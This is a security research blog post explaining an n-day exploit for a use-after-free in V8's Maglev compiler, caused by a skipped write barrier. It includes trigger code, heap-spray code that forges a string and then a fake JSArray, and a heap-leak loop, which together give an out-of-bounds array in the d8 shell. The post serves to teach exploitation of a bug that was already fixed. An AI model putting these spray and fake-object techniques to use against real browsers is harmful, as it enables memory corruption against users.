back to research
LARP-2025-002browsers10 min read

Maglev write-barrier use-after-free to an out-of-bounds array

Maglev knew a square root was a small integer, stored it without a write barrier, and handed over a HeapNumber anyway. One scavenge later an old object points into freed young-generation memory. This is an n-day exploit of that bug, crbug 434513380, from the regression test to a fake JSArray with a length of 125 million.

This is an n-day exploit, and I didn’t find the bug. Pavel Kuzmin of the Yandex Security Team reported it on 28 July 2025 as crbug 434513380, a use-after-free in V8’s mid-tier compiler, Maglev. It was fixed the same day. Chrome 140’s release notes listed it as CVE-2025-9864, and in November that CVE was withdrawn: the bug was introduced and fixed before the code reached Chrome’s Stable channel, so no stable Chrome was ever affected.

The fix and the regression test are public, the bug is small, and the path from it to a memory primitive goes through the part of V8 that most engine bugs end up abusing: the garbage collector’s assumptions about where pointers can be. My exploit is in my_v8_exploits. It runs in d8, the V8 shell, and stops at an out-of-bounds array.

The patch

Two commits from 28 July carry the fix. The first changes one line in src/maglev/maglev-ir.h:

c++v8 622f5a8d8f, [maglev] Float64Sqrt should return a Float64
  static constexpr OpProperties kProperties = OpProperties::HoleyFloat64();
  static constexpr OpProperties kProperties = OpProperties::Float64();

Float64Sqrt declared its output as a holey float64, a representation that has room for the hole, V8’s internal marker for a missing array element. A square root never produces the hole, so the node now says plain Float64.

The second commit, relanded as a7af171a8d after a revert, is the one marked as the fix. It changes how Maglev turns a float64 value back into a tagged JavaScript value in GetTaggedValue() (src/maglev/maglev-reducer-inl.h). For a Float64 or HoleyFloat64 node whose known type is Smi, Maglev now emits CheckedSmiTagFloat64, which produces a Smi. Before, it emitted Float64ToTagged or HoleyFloat64ToTagged with kForceHeapNumber, which allocate a HeapNumber.

Put together, before the fix Maglev could know that a value was a Smi and still produce a HeapNumber for it. Anything later in the graph that trusted the type would be wrong about what it was holding.

Write barriers and the remembered set

V8’s heap is generational. New objects go into a small young generation, and a minor collection, the scavenger, cleans it often by copying the live objects out and throwing the rest away. To do that quickly it doesn’t scan the old generation. It looks at roots and at a remembered set: a list of slots in old objects that point into the young generation. When any collection moves young objects, the old-generation pointers to them are fixed up through that same set.

Slots get into the remembered set through the write barrier, a short check the engine runs on stores of heap pointers into objects. A Smi isn’t a heap pointer, it’s an integer stored in the slot, so a store whose value is known to be a Smi can skip the barrier. Compilers rely on that. When Maglev believes a value is a Smi, it emits the store without one.

So the sequence in the bug is:

  1. Maglev types Math.sqrt(...) of a value that comes out as a small integer as a Smi.
  2. The tagging step still allocates a HeapNumber in the young generation.
  3. The value is stored into a field of an old-generation object with no write barrier, because it is “a Smi”.
  4. The next collection doesn’t know about that slot. It moves the HeapNumber, or frees it, and leaves the old object’s field pointing at the young-generation memory where it used to be.

That last state is the use-after-free: a live old object holding a pointer into memory the allocator will hand out again.

Trigger

The regression test that came with the fix, test/mjsunit/maglev/regress-434513380.js, has the shape v0 = Math.sqrt(0); f2(v0);, compiled with %OptimizeMaglevOnNextCall and followed by gc(). My trigger is the same skeleton with the store aimed at an old object:

jsthe trigger from oob.js, run with --allow-natives-syntax --expose-gc
let oldObj = { value: null };       // allocated early, old by the time it matters

function f1() {
    v0 = Math.sqrt(4.0);            // 2, typed as a Smi, tagged as a HeapNumber
    let arr = [2.2, 2.2, 2.2];
    oldObj.value = v0;              // stored with no write barrier
    gc();
}
function f5() {
    %OptimizeMaglevOnNextCall(f1);
    f1();
}
%PrepareFunctionForOptimization(f1);
f5();
f5();

%OptimizeMaglevOnNextCall and gc() are d8 natives that force the Maglev compile and the collection. In a browser both would have to come from ordinary JavaScript, through warm-up and allocation pressure, and that part isn’t in this exploit. After the second f5(), oldObj.value points at memory that no longer holds a HeapNumber.

Spraying a fake string

Young-generation allocation is a bump pointer, so a large run of same-shaped allocations covers the space the HeapNumber came from in a predictable pattern. The exploit sprays 24,400 arrays of 64 doubles and checks after each round whether typeof oldObj.value has become "string":

jsthe spray, shortened
while (typeof oldObj.value != "string") {
    spray = [];
    for (index = 0; index < 24400; index++) {
        spray.push([
            1.2882298307039035e-231, 1.29e-321,
            // ... the same pair, 32 times
        ]);
    }
}

The two doubles are bit patterns. 1.2882298307039035e-231 is 0x1000000010000000, and 1.29e-321 is a denormal whose bits are 0x0000000000000105. With pointer compression every tagged field is four bytes, so what matters is how the pair reads as dwords. In memory order it’s 10000000 10000000 00000105 00000000, repeating every 16 bytes.

first spray: pairs of 1.2882298307039035e-231 and 1.29e-321
100000001000000000000105map00000000hash10000000length100000000000010500000000
oldObj.value points hereoldObj.value points at the first red box
read from the slot: a string with map 0x105 and length 0x10000000, 268,435,456 characters
second spray, written over the same arrays: pairs of x2 and x1
elements0f000000mapmappropertiespropertieselementselements0f000000lengthmapproperties
oldObj.value points hereoldObj.value points at the first red box
read from the slot: a JSArray with the real map and elements of b = [1.1], and Smi length 0x07800000, 125,829,120
fig. 1The dwords under the dangling slot, in memory order, four bytes per box. Each spray repeats a 16-byte pattern, so whichever dword the slot lands on, the same header follows it. The spray loop keeps going until typeof says the slot is a string, which means it landed on 0x105.

A V8 string starts with a map, then a hash field, then a length. Read from a 00000105 dword, the pattern gives map 0x105, hash 0, and a length of 0x10000000 taken from the next pair. With static roots, V8’s read-only maps sit at fixed compressed addresses that are constants in the source for a given build, so a map can be written into a spray as a number. When typeof reports a string, the dangling slot has landed on the right dword, and oldObj.value is a string 268,435,456 characters long over whatever memory follows it.

Heap read

charCodeAt on that string reads the heap one byte at a time, as far past the spray as the exploit wants. It needs one object it can recognise, so it allocates b = [1.1] after the spray and scans four bytes at a time for 0x3ff19999, the high half of 1.1 (0x3ff199999999999a):

jsthe leak, shortened
for (i = 0; i < 0x1000000; i++) {
    for (let j = 0; j < 4; j++) u8[j] = oldObj.value.charCodeAt(i * 4 + j);
    if (u32[0] == 0x3ff19999) {
        // the next three dwords: b's map, properties and elements
        ...
        break;
    }
}

The double sits in b’s elements store, and the three dwords after it are the JSArray header of b itself: its map, its properties pointer and its elements pointer, all compressed. Those are exactly the values a fake array of the same kind needs.

Fake JSArray

The last step rewrites the spray in place. fillWithPair writes new doubles into the same 24,400 arrays, so nothing new is allocated and the memory under oldObj.value changes under the existing pointer:

jsbuilding the fake JSArray
let x1 = itof(doubleArray_map | doubleArray_properties << 32n);
let x2 = itof(doubleArray_elements | 0x0f00000000000000n);
for (let k = 0; k < spray.length; k++) fillWithPair(spray[k], [x2, x1]);

oobarray = oldObj.value;
console.log("got oob array with length " + oobarray.length);

The new pattern in memory order is elements 0f000000 map properties. Read from the same dword offset as before, it’s a JSArray header: b’s map, b’s properties, b’s elements pointer, and a length field of 0x0f000000. Lengths are Smis, and a compressed Smi is the value shifted left by one, so that’s a length of 0x07800000, 125,829,120 elements. oobarray is an array of doubles that shares b’s one-element backing store and believes it has 125 million entries. Reading and writing past index 0 reads and writes whatever the heap holds after it, as raw 64-bit values.

Limitations

An out-of-bounds double array is the usual starting point in V8 exploitation. From here the standard moves are an addrof, by placing an object array after the backing store and reading its compressed pointers as doubles, and a fakeobj, by writing a crafted pointer and reading it back as an object. The exploit doesn’t build either, and it doesn’t make the corrupted objects survive the next garbage collection, which a real exploit has to.

Two limits matter more than those. The exploit relies on d8 natives to force compilation and collection. And everything it can reach is inside the V8 heap sandbox: an out-of-bounds array in the cage reads and writes the cage, and getting from there to code execution in Chrome takes a separate sandbox escape. What this post shows is a memory primitive in the d8 shell.

Conclusion

Two small mistakes were enough. A node declared a slightly wrong output representation, and a tagging path ignored a type it already knew. Neither looks like a memory-safety bug on its own. The damage came from a third piece of code trusting the type: a store that skipped the barrier because the value was “a Smi”. Any optimisation that removes a check because of a type turns a wrong type into a memory error. Write barriers are a clear example, because the collector never looks at the skipped slot again.

r1ngz3ro
back to research